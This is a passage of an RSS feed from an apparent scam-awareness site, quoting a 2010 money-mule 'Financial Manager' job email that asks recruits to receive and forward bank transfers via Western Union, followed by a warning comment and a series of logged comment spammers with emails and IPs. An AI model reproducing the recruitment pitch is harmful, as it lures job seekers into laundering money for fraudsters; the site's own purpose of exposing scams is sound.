<p>It is not possible to reach high quality standards without dedicated personnel striving for flawless operation of processes and projects in their daily life. Currently we have a Financial Manager opening. No deadlines for applications are set.</p>
<p>The job of Financial Manager includes processing of money transfers, sent to his bank accounts by company clients. Upon receiving a transfer the Financial Manager has to redirect it to the account specified by our dispatchers. All you need for this job are: 3-4 free hours a day, your wish, ability to work in a team and responsibility. The initial wages will equal fivepercent of total turnover.</p>
<p>Req&#8217;s to Candidates:</p>
<p>* 20 years old and high<br />
* Be able to check your email several times of day<br />
* Should have bank account<br />
* Have a skill to communicate and access to the Internet.<br />
* Foreign language, English is preferable.<br />
* To have an opportunity in any working hours to go to closest WU location and make money transfer.</p>
<p>Information:</p>
<p>* Generous wages. Your salary will originally make five % from every payment. After five remittances if you will operatively work and correctly, your salary raises up to 10 %.<br />
* Opportunity of increase in your salary.<br />
* Free seminars and training, after six months of great work.</p>
<p>If you are interested in this work, don&#8217;t hesitate to send your CV to e-mail:   CefinsManagery@BonBon.net</p>
<p>2010 © Ceffin Cons &amp; Fin<br />
All right reserved.Links in the Email</p></blockquote>
<p><strong>Email Address From Email:</strong></p>
<blockquote><p>CefinsManagery@BonBon.net</p></blockquote>
<p><strong>Comments:</strong></p>
<blockquote><p>To say the truth, I&#8217;m not sure exactly what they want from this obvious scam. I assume it&#8217;s a Nigerian 419 Scam as over time perhaps they will ask for a fee to unlock the funds, or a legal fee. Perhaps it is a phishing scam and will ask for bank details etc.. But whatever it is, it is a scam!! Stay away!!</p></blockquote>
<img src="http://bescamaware.com/?ak_action=api_record_view&id=412&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://bescamaware.com/2010/05/ceffin-c-f-nigerian-419-scams/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Jill Agoro &#8211; Spammer</title>
		<link>http://bescamaware.com/2010/05/jill-agoro-spammer/</link>
		<comments>http://bescamaware.com/2010/05/jill-agoro-spammer/#comments</comments>
		<pubDate>Mon, 24 May 2010 11:34:09 +0000</pubDate>
		<dc:creator>Admin A</dc:creator>
				<category><![CDATA[Spammer]]></category>
		<category><![CDATA[Jill Agoro]]></category>

		<guid isPermaLink="false">http://bescamaware.com/?p=398</guid>
		<description><![CDATA[Spammers Name: Jill Agoro
Spammers Email: Cora8821@gmail.com
Spammers IP: 75.146.21.73]]></description>
			<content:encoded><![CDATA[<p><strong>Spammers Name:</strong></p>
<blockquote><p>Jill Agoro</p></blockquote>
<p><strong>Spammers Email:</strong></p>
<blockquote><p>Cora8821@gmail.com</p></blockquote>
<p><strong>Spammers Comments:</strong></p>
<blockquote><p>I like the layout of your blog. It is really awesome and I&#8217;m thinking about a similiar design for my site!</p></blockquote>
<p><strong>Spammers URL:</strong></p>
<blockquote><p>http : // www . jtahhan . com / bb1 / / profile . php ? mode = viewprofile &amp; u = 33468</p></blockquote>
<p><strong>Spammers IP</strong></p>
<blockquote><p>75.146.21.73</p></blockquote>
<img src="http://bescamaware.com/?ak_action=api_record_view&id=398&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://bescamaware.com/2010/05/jill-agoro-spammer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>laser tonsillectomy North Carolina &#8211; Spammer</title>
		<link>http://bescamaware.com/2010/05/laser-tonsillectomy-north-carolina-spammer/</link>
		<comments>http://bescamaware.com/2010/05/laser-tonsillectomy-north-carolina-spammer/#comments</comments>
		<pubDate>Mon, 24 May 2010 11:31:53 +0000</pubDate>
		<dc:creator>Admin A</dc:creator>
				<category><![CDATA[Spammer]]></category>
		<category><![CDATA[laser tonsillectomy North Carolina]]></category>

		<guid isPermaLink="false">http://bescamaware.com/?p=396</guid>
		<description><![CDATA[Spammers Name: laser tonsillectomy North Carolina
Spammers Email: Marengo178@yahoo.com
Spammers IP: 116.68.248.42]]></description>
			<content:encoded><![CDATA[<p><strong>Spammers Name:</strong></p>
<blockquote><p>laser tonsillectomy North Carolina</p></blockquote>
<p><strong>Spammers Email:</strong></p>
<blockquote><p>Marengo178@yahoo.com</p></blockquote>
<p><strong>Spammers Comments:</strong></p>
<blockquote><p>I like the layout of your blog. It is really awesome and I&#8217;m thinking about a similiar design for my site!</p></blockquote>
<p><strong>Spammers URL:</strong></p>
<blockquote><p>http : // lasertonsillectomy . org / typical &#8211; laser &#8211; treatment</p></blockquote>
<p><strong>Spammers IP:</strong></p>
<blockquote><p>116.68.248.42</p></blockquote>
<img src="http://bescamaware.com/?ak_action=api_record_view&id=396&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://bescamaware.com/2010/05/laser-tonsillectomy-north-carolina-spammer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>jewelry business &#8211; Spammer</title>
		<link>http://bescamaware.com/2010/05/jewelry-business-spammer/</link>
		<comments>http://bescamaware.com/2010/05/jewelry-business-spammer/#comments</comments>
		<pubDate>Mon, 24 May 2010 11:29:05 +0000</pubDate>
		<dc:creator>Admin A</dc:creator>
				<category><![CDATA[Spammer]]></category>
		<category><![CDATA[jewelry business]]></category>

		<guid isPermaLink="false">http://bescamaware.com/?p=392</guid>
		<description><![CDATA[Spammers Name: jewelry business
Spammers Email: shoespublisher@gmail.com
Spammers IP: 202.51.107.37]]></description>
			<content:encoded><![CDATA[<p><strong>Spammers Name:</strong></p>
<blockquote><p>jewelry business</p></blockquote>
<p><strong>Spammers Email:</strong></p>
<blockquote><p>shoespublisher@gmail.com</p></blockquote>
<p><strong>Spammers Comments:</strong></p>
<blockquote><p>Lots of Good information in your posting, I bookmarked your blog post so I can visit again in the near future, Cheers <img src='http://bescamaware.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p></blockquote>
<p><strong>Spammers URL:</strong></p>
<blockquote><p>http : // www . jewelrypublisher . com</p></blockquote>
<p><strong>Spammers IP:</strong></p>
<blockquote><p>202.51.107.37</p></blockquote>
<img src="http://bescamaware.com/?ak_action=api_record_view&id=392&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://bescamaware.com/2010/05/jewelry-business-spammer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Aldo Evick &#8211; Spammer</title>
		<link>http://bescamaware.com/2010/05/aldo-evick-spammer/</link>
		<comments>http://bescamaware.com/2010/05/aldo-evick-spammer/#comments</comments>
		<pubDate>Mon, 24 May 2010 11:27:09 +0000</pubDate>
		<dc:creator>Admin A</dc:creator>
				<category><![CDATA[Spammer]]></category>
		<category><![CDATA[Aldo Evick]]></category>

		<guid isPermaLink="false">http://bescamaware.com/?p=390</guid>
		<description><![CDATA[Spammers Name: Aldo Evick
Spammers Email: Honsberger@gmail.com
Spammers IP: 173.234.120.9]]></description>
			<content:encoded><![CDATA[<p><strong>Spammers Name:</strong></p>
<blockquote><p>Aldo Evick</p></blockquote>
<p><strong>Spammers Email:</strong></p>
<blockquote><p>Honsberger@gmail.com</p></blockquote>
<p><strong>Spammers Comments:</strong></p>
<blockquote><p>You have got the point over much better than I at any time could, thanks!</p></blockquote>
<p><strong>Spammers URL:</strong></p>
<blockquote><p>http : // ontheinternetperiod . shotblogs . com / ?p = 7</p></blockquote>
<p><strong>Spammers IP:</strong></p>
<blockquote><p>173.234.120.9</p></blockquote>
<img src="http://bescamaware.com/?ak_action=api_record_view&id=390&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://bescamaware.com/2010/05/aldo-evick-spammer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Short sale in San Diego &#8211; Spammer</title>
		<link>http://bescamaware.com/2010/05/short-sale-in-san-diego-spammer/</link>
		<comments>http://bescamaware.com/2010/05/short-sale-in-san-diego-spammer/#comments</comments>
		<pubDate>Mon, 24 May 2010 11:24:55 +0000</pubDate>
		<dc:creator>Admin A</dc:creator>
				<category><![CDATA[Spammer]]></category>
		<category><![CDATA[Short sale in San Diego]]></category>

		<guid isPermaLink="false">http://bescamaware.com/?p=388</guid>
		<description><![CDATA[Spammers Name: Short sale in San Diego
Spammers Email: Greenwood@yahoo.com
Spammers IP: 174.34.169.124]]></description>
			<content:encoded><![CDATA[<p><strong>Spammers Name:</strong></p>
<blockquote><p>Short sale in San Diego</p></blockquote>
<p><strong>Spammers Email:</strong></p>
<blockquote><p>Greenwood@yahoo.com</p></blockquote>
<p><strong>Spammers Comments:</strong></p>
<blockquote><p>I couldn’t resist commenting. <img src='http://bescamaware.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p></blockquote>
<p><strong>Spammers URL:</strong></p>
<blockquote><p>http : // shortsalecarlsbad . com</p></blockquote>
<p><strong>Spammers IP:</strong></p>
<blockquote><p>174.34.169.124</p></blockquote>
<img src="http://bescamaware.com/?ak_action=api_record_view&id=388&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://bescamaware.com/2010/05/short-sale-in-san-diego-spammer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mary Mooty</title>
		<link>http://bescamaware.com/2010/05/mary-mooty/</link>
		<comments>http://bescamaware.com/2010/05/mary-mooty/#comments</comments>
		<pubDate>Mon, 24 May 2010 11:22:14 +0000</pubDate>
		<dc:creator>Admin A</dc:creator>
				<category><![CDATA[Spammer]]></category>
		<category><![CDATA[Mary Mooty]]></category>

		<guid isPermaLink="false">http://bescamaware.com/?p=385</guid>
		<description><![CDATA[Spammers Name: Mary Mooty
Spammers Email: AbbieAdrianna@hotmail.com
Spammers IP: 173.234.150.208]]></description>
			<content:encoded><![CDATA[<p><strong>Spammers Name:</strong></p>
<blockquote><p>Mary Mooty</p></blockquote>
<p><strong>Spammers Email:</strong></p>
<blockquote><p>AbbieAdrianna@hotmail.com</p></blockquote>
<p><strong>Spammers Comments:</strong></p>
<blockquote><p>The Zune player can&#8217;t play the video and audio purchased from Yahoo! Cinemanow or any other online media service, which really gives customers a raw deal. So how to put video on Zune is the hang-up problem for all our Zune customers. Today Tipard Zune Video Converter can clear up your problem. The next step by step guide will show you how to put video on Zune.</p></blockquote>
<p><strong>Spammers URL:</strong></p>
<blockquote><p>http : // insuranceonlineinfo . com / ? p = 53</p></blockquote>
<p><strong>Spammers IP:</strong></p>
<blockquote><p>173.234.150.208</p></blockquote>
<img src="http://bescamaware.com/?ak_action=api_record_view&id=385&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://bescamaware.com/2010/05/mary-mooty/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Auto Marketiva</title>
		<link>http://bescamaware.com/2010/05/auto-marketiva/</link>
		<comments>http://bescamaware.com/2010/05/auto-marketiva/#comments</comments>
		<pubDate>Mon, 24 May 2010 09:13:36 +0000</pubDate>
		<dc:creator>Admin A</dc:creator>
				<category><![CDATA[Spammer]]></category>
		<category><![CDATA[auto marketiva]]></category>

		<guid isPermaLink="false">http://bescamaware.com/?p=379</guid>
		<description><![CDATA[Spammer Name: auto marketiva
Spammer Email: Tamakivgd@hotmail.com
Spammers IP: 74.63.230.194]]></description>
			<content:encoded><![CDATA[<p><strong>Spammer Name</strong>:</p>
<blockquote><p>auto marketiva</p></blockquote>
<p><strong>Spammer Email</strong>:</p>
<blockquote><p>Tamakivgd@hotmail.com</p></blockquote>
<p><strong>Spammer Comment</strong>:</p>
<blockquote><p>HA! I enjoy reading the report, too. It?s easy to understand that a journey like this is the biggest event in ones <img src='http://bescamaware.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p></blockquote>
<p><strong>Spammer URL</strong>:</p>
<blockquote>
<div id="_mcePaste">http : // www . marketiva . cc</div>
</blockquote>
<div><strong>Spammers IP:</strong></div>
<blockquote>
<div>74.63.230.194</div>
</blockquote>
<img src="http://bescamaware.com/?ak_action=api_record_view&id=379&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://bescamaware.com/2010/05/auto-marketiva/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Paz Rasband</title>
		<link>http://bescamaware.com/2010/05/paz-rasband/</link>
		<comments>http://bescamaware.com/2010/05/paz-rasband/#comments</comments>
		<pubDate>Mon, 24 May 2010 08:38:02 +0000</pubDate>
		<dc:creator>Admin A</dc:creator>
				<category><![CDATA[Spammer]]></category>
		<category><![CDATA[Paz Rasband]]></category>

		<guid isPermaLink="false">http://bescamaware.com/?p=370</guid>
		<description><![CDATA[Spammer Name: Paz Rasband
Spammer Email: Rolen1705@gmail.com
Spammers IP: 208.43.112.5]]></description>
			<content:encoded><![CDATA[<p><strong>Spammer Name</strong></p>
<blockquote><p>Paz Rasband</p></blockquote>
<p><strong>Spammer Email</strong></p>
<blockquote><p>Rolen1705@gmail.com</p></blockquote>
<p><strong>Spammer Comment</strong></p>
<blockquote><p>Hi,I obtain that your blog is incredibly instructive and useful and we were curious if there is really a possibility of acquiring More articles like this on your weblog. If you willing to help us out, we would be willing to compensate you&#8230; , Paz Rasband</p></blockquote>
<p><strong>Spammer URL</strong></p>
<blockquote><p>http : / / cheap &#8211; unsecured &#8211; loans . info</p></blockquote>
<p><strong>Spammers IP:</strong></p>
<blockquote><p>208.43.112.5</p></blockquote>
<img src="http://bescamaware.com/?ak_action=api_record_view&id=370&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://bescamaware.com/2010/05/paz-rasband/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

